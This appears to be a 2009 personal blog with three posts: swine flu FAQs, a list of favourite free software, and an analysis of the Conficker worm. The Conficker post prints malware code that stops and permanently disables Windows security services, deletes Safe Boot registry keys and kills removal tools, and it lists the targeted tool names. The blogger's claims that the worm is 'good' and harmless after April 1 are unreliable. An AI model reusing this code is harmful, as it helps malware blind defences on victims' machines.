Wednesday, April 29, 2009

Swine Flu Facts



Swine Flu

What is Swine Influenza?

Swine Influenza (swine flu) is a respiratory disease of pigs caused by type A influenza virus that regularly causes outbreaks of influenza in pigs. Swine flu viruses cause high levels of illness and low death rates in pigs. Swine influenza viruses may circulate among swine throughout the year, but most outbreaks occur during the late fall and winter months similar to outbreaks in humans. The classical swine flu virus (an influenza type A H1N1 virus) was first isolated from a pig in 1930.

How many swine flu viruses are there?

Like all influenza viruses, swine flu viruses change constantly. Pigs can be infected by avian influenza and human influenza viruses as well as swine influenza viruses. When influenza viruses from different species infect pigs, the viruses can reassort (i.e. swap genes) and new viruses that are a mix of swine, human and/or avian influenza viruses can emerge. Over the years, different variations of swine flu viruses have emerged. At this time, there are four main influenza type A virus subtypes that have been isolated in pigs: H1N1, H1N2, H3N2, and H3N1. However, most of the recently isolated influenza viruses from pigs have been H1N1 viruses.

Swine Flu in Humans

Can humans catch swine flu?

Swine flu viruses do not normally infect humans. However, sporadic human infections with swine flu have occurred. Most commonly, these cases occur in persons with direct exposure to pigs (e.g. children near pigs at a fair or workers in the swine industry). In addition, there have been documented cases of one person spreading swine flu to others. For example, an outbreak of apparent swine flu infection in pigs in Wisconsin in 1988 resulted in multiple human infections, and, although no community outbreak resulted, there was antibody evidence of virus transmission from the patient to health care workers who had close contact with the patient.

How common is swine flu infection in humans?


In the past, CDC received reports of approximately one human swine influenza virus infection every one to two years in the U.S., but from December 2005 through February 2009, 12 cases of human infection with swine influenza have been reported.

What are the symptoms of swine flu in humans?

The symptoms of swine flu in people are expected to be similar to the symptoms of regular human seasonal influenza and include fever, lethargy, lack of appetite and coughing. Some people with swine flu also have reported runny nose, sore throat, nausea, vomiting and diarrhea.

Can people catch swine flu from eating pork?

No. Swine influenza viruses are not transmitted by food. You can not get swine influenza from eating pork or pork products. Eating properly handled and cooked pork and pork products is safe. Cooking pork to an internal temperature of 160°F kills the swine flu virus as it does other bacteria and viruses.

How does swine flu spread?

Influenza viruses can be directly transmitted from pigs to people and from people to pigs. Human infection with flu viruses from pigs are most likely to occur when people are in close proximity to infected pigs, such as in pig barns and livestock exhibits housing pigs at fairs. Human-to-human transmission of swine flu can also occur. This is thought to occur in the same way as seasonal flu occurs in people, which is mainly person-to-person transmission through coughing or sneezing of people infected with the influenza virus. People may become infected by touching something with flu viruses on it and then touching their mouth or nose.

What do we know about human-to-human spread of swine flu?

In September 1988, a previously healthy 32-year-old pregnant woman was hospitalized for pneumonia and died 8 days later. A swine H1N1 flu virus was detected. Four days before getting sick, the patient visited a county fair swine exhibition where there was widespread influenza-like illness among the swine.

In follow-up studies, 76% of swine exhibitors tested had antibody evidence of swine flu infection but no serious illnesses were detected among this group. Additional studies suggest that one to three health care personnel who had contact with the patient developed mild influenza-like illnesses with antibody evidence of swine flu infection.

How can human infections with swine influenza be diagnosed?


To diagnose swine influenza A infection, a respiratory specimen would generally need to be collected within the first 4 to 5 days of illness (when an infected person is most likely to be shedding virus). However, some persons, especially children, may shed virus for 10 days or longer. Identification as a swine flu influenza A virus requires sending the specimen to CDC for laboratory testing.

What medications are available to treat swine flu infections in humans?

There are four different antiviral drugs that are licensed for use in the US for the treatment of influenza: amantadine, rimantadine, oseltamivir and zanamivir. While most swine influenza viruses have been susceptible to all four drugs, the most recent swine influenza viruses isolated from humans are resistant to amantadine and rimantadine. At this time, CDC recommends the use of oseltamivir or zanamivir for the treatment and/or prevention of infection with swine influenza viruses.

What other examples of swine flu outbreaks are there?

Probably the most well known is an outbreak of swine flu among soldiers in Fort Dix, New Jersey in 1976. The virus caused disease with x-ray evidence of pneumonia in at least 4 soldiers and 1 death; all of these patients had previously been healthy. The virus was transmitted to close contacts in a basic training environment, with limited transmission outside the basic training group. The virus is thought to have circulated for a month and disappeared. The source of the virus, the exact time of its introduction into Fort Dix, and factors limiting its spread and duration are unknown. The Fort Dix outbreak may have been caused by introduction of an animal virus into a stressed human population in close contact in crowded facilities during the winter. The swine influenza A virus collected from a Fort Dix soldier was named A/New Jersey/76 (Hsw1N1).

Is the H1N1 swine flu virus the same as human H1N1 viruses?


No. The H1N1 swine flu viruses are antigenically very different from human H1N1 viruses and, therefore, vaccines for human seasonal flu would not provide protection from H1N1 swine flu viruses. Swine Flu in Pigs

How does swine flu spread among pigs?Â

Swine flu viruses are thought to be spread mostly through close contact among pigs and possibly from contaminated objects moving between infected and uninfected pigs. Herds with continuous swine flu infections and herds that are vaccinated against swine flu may have sporadic disease, or may show only mild or no symptoms of infection.

What are signs of swine flu in pigs?Â

Signs of swine flu in pigs can include sudden onset of fever, depression, coughing (barking), discharge from the nose or eyes, sneezing, breathing difficulties, eye redness or inflammation, and going off feed.

How common is swine flu among pigs?Â

H1N1 and H3N2 swine flu viruses are endemic among pig populations in the United States and something that the industry deals with routinely. Outbreaks among pigs normally occur in colder weather months (late fall and winter) and sometimes with the introduction of new pigs into susceptible herds. Studies have shown that the swine flu H1N1 is common throughout pig populations worldwide, with 25 percent of animals showing antibody evidence of infection. In the U.S. studies have shown that 30 percent of the pig population has antibody evidence of having had H1N1 infection. More specifically, 51 percent of pigs in the north-central U.S. have been shown to have antibody evidence of infection with swine H1N1. Human infections with swine flu H1N1 viruses are rare. There is currently no way to differentiate antibody produced in response to flu vaccination in pigs from antibody made in response to pig infections with swine H1N1 influenza.

While H1N1 swine viruses have been known to circulate among pig populations since at least 1930, H3N2 influenza viruses did not begin circulating among US pigs until 1998. The H3N2 viruses initially were introduced into the pig population from humans. The current swine flu H3N2 viruses are closely related to human H3N2 viruses.

Is there a vaccine for swine flu?

Vaccines are available to be given to pigs to prevent swine influenza. There is no vaccine to protect humans from swine flu. The seasonal influenza vaccine will likely help provide partial protection against swine H3N2, but not swine H1N1 viruses.


Monday, April 6, 2009

MY E-LIFE TOP APPLICATION

These basic application were my frequently used application. My internet life will not be complete without these basic apps.

COOLIRIS

The most indespensable add on of my Mozilla Firefox. Very handy and usefull in finding pictures and photos. It`s like you are using google but only the photos and picture of what are your looking for appear.
Full-Screen, 3D -- Cooliris transforms your browser into a lightning fast, cinematic way to browse online photos and videos. Our "3D Wall" lets you fly through thousands of items in the blink of an eye on a infinitely expandable wall. To enjoy Cooliris on Google Images, Facebook, YouTube, Flickr, and hundreds of other sites, click the Cooliris icon that appears when you mouseover media on the supported site.

WEBSITE INSTALL IN YOUR FIREFOX 3




7 ZIP FILE ARCHIVER
7-Zip Portable is the popular 7-Zip packaged as a portable app, so you can take your file archiver with you and work with your compressed 7z, ZIP, GZIP, BZIP2, TAR, RAR files and more on the go. You can place it on your USB flash drive, iPod, portable hard drive or a CD and use it on any computer, without leaving any personal information behind.

Features:

* High compression ratio in new 7z format with LZMA compression
* Supported formats:
o Packing / unpacking: 7z, ZIP, GZIP, BZIP2 and TAR
o Unpacking only: RAR, CAB, ISO, ARJ, LZH, CHM, Z, CPIO, RPM, DEB and NSIS
* For ZIP and GZIP formats 7-Zip provides compression ratio that is 2-10 % better than ratio provided by PKZip and WinZip
* Self-extracting capability for 7z format
* Powerful File Manager

WEBSITE DOWNLOAD THIS APPLICATION




FREE DOWNLOAD MANAGER
FDM accelerates downloads by splitting files into sections and then downloading them simultaneously. FDM may also resume broken downloads so you don't need start downloading from the beginning after casual interruption.

FDM now able to download video from video sites, such as Youtube, Google Video, Blennus, Dailymotion, LiveDigital and MySpace . The video can then be saved in native .flv format or converted to one of more popular video formats.

WEBSITE DOWNLOAD



FIREFOX 3

The award-winning, free Web browser is better than ever. Browse the Web with confidence - Firefox protects you from viruses, spyware and pop-ups. Enjoy improvements to performance, ease of use and privacy. It's easy to import your favorites and settings and get started. Download Firefox now and get the most out of the Web.

WEBSITE DOWNLOAD




VLC media player

VLC media player is a highly portable multimedia player for various audio and video formats (MPEG-1, MPEG-2, MPEG-4, DivX, mp3, ogg, ...) as well as DVDs, VCDs, and various streaming protocols.
It can also be used as a server to stream in unicast or multicast in IPv4 or IPv6 on a high-bandwidth network.
It doesn't need any external codec or program to work.

WEBSITE DOWNLOAD


POCKET DIVX ENCODER

Most valuable to me next to Mozilla Firefox. I used this one to convert any video and files in my pc to my PDA. PocketDivXEncoder allows you to encode any video clip with optimized parameters for handled devices (landscape mode, 240x320, low CPU usage, increased brightness, ...). The video output standards are directly playable on PMP devices (Archos,...) but also on your PocketPC, Smartphone or Palm .

WEBSITE DOWNLOAD


CC CLEANER

CCleaner is a freeware system optimization and privacy tool. It removes unused files from your system - allowing Windows to run faster and freeing up valuable hard disk space. It also cleans traces of your online activities such as your Internet history.

Cleans the following:

* Internet Explorer: Temporary files, URL history, cookies, Autocomplete form history, index.dat.
* Firefox: Temporary files, URL history, cookies, download history.
* Opera: Temporary files, URL history, cookies.
* Windows: Recycle Bin, Recent Documents, Temporary files and Log files.
* Registry cleaner: Advanced features to remove unused and old entries, including File Extensions, ActiveX Controls, ClassIDs, ProgIDs, Uninstallers, Shared DLLs, Fonts, Help Files, Application Paths, Icons, Invalid Shortcuts and more... also comes with a comprehensive backup feature.
* Third-party applications: Removes temp files and recent file lists (MRUs) from many apps including Media Player, eMule, Kazaa, Google Toolbar, Netscape, MS Office, Nero, Adobe Acrobat, WinRAR, WinAce, WinZip and many more...
* 100% Spyware FREE: This software does NOT contain any Spyware, Adware or Viruses.

WEBSITE DOWNLOAD



Wednesday, April 1, 2009

April 1 Conficker Virus 2

Below was actual logic of Conficker Virus used to disable the security services. C opens the security manager with all access privileges. It then loops through the set of resident services, ignoring all services reported as kernel devices. If it finds a matching device name, it first shuts down the service, sleeps for 4 seconds, and then sets the service configuration to permanently disable the service.

..

BOOL disable_security_services_and_terminate_conficker_cleaners()
{
HANDLE v;
void *ThreadId;

ThreadId = this;
disable_security_service("wscsvc");
disable_security_service("WinDefend");
disable_security_service("wuauserv");
disable_security_service("BITS");
disable_security_service("ERSvc");
disable_security_service("WerSvc");
SHDeleteValueA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion
\\Run", "Windows Defender");
callSHDeleteKeyW(
HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\ShellServiceObjects\\
{FD6905CE-952F-41F1-9A6F-135D9C6622CC}");
callSHDeleteKeyW(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SafeBoot");
v = CreateThread(0, 0, monitor_and_terminate_conficker_cleaners, 0, 0, (DWORD *)
&ThreadId);
return CloseHandle(v);
}

int disable_security_service(LPCSTR lpServiceName)
{
void *hSCObject;
char ServiceStatus;
int v;

result = 0;
hSCObject = OpenSCManagerA(0, 0, SC_MANAGER_ALL_ACCESS);
// open service manager with all access granted
if ( hSCObject )
{
v = OpenServiceA(hSCObject, lpServiceName, 0x20027u);
// open the specified service
if ( v )
{
if ( QueryServiceStatus(v, (struct _SERVICE_STATUS *)&ServiceStatus) )
// query the service status
{
if ( ServiceType != SERVICE_KERNEL_DRIVER )
// check if the service is not a device driver
{
success = ControlService(v, 1u, (struct _SERVICE_STATUS *)
&ServiceStatus); // notifies the service that it should stop
if ( success )
Sleep(4000); // sleep 4 seconds
}
}
result |= ChangeServiceConfigA(v, 0xFFFFFFFFu, 4u, 0xFFFFFFFFu,
0, 0, 0, 0, 0, 0, 0);
// set the service configuration so that the service is never started
CloseServiceHandle(v);
}
CloseServiceHandle(hSCObject);
}
return result;
}


Also these processes are immediately terminated by C's process monitoring thread whenever they are discovered running on the victim computer. These were tools seen as treat to its existence in the victims host computer. Seems these virus was protecting itself.
  1. autoruns - malware removal tool
  2. avenger - antivirus / firewall
  3. confick - cleanup utilities
  4. downad - cleanup utilities
  5. filemon - security utility)
  6. gmer - rootkit detector and remover (gmer.net)
  7. hotfix - security patch or removal tools
  8. kb890 - Microsoft patch
  9. kb958 - Microsoft patch
  10. kido - security patch or removal tools
  11. klwk - Karspersky malware removal tool
  12. mbsa. - Microsoft Baseline Security Analyser
  13. mrt - Microsoft malware removal tool
  14. mrtstub - Microsoft malware removal tool
  15. ms08-06 - Microsoft patch
  16. procexp - process explorer
  17. procmon - process monitor
  18. regmon - registry monitor
  19. scct_ - unknown
  20. sysclean - Trend Micro malware removal tool
  21. tcpview - network packet analysis tool
  22. unlocker - file unlocking utility
  23. wireshark - network packet analysis tool
My personal perception was " these virus was for designed specially for those illegally obtained or hacked window version. It is a good worm for flushing out unregistered window version. Wonder why microsoft wants the author of this where in fact this will help themto get rid of all unregistered versions. If you have an authentic window version you dont have to worry a patch from from microsoft will keep you safe from this virus. So much for this one, It will April 2 tommorow so we don`t have to worry for it anymore. Let`s see tommorow and what new on this much talk about virus. ..Godbless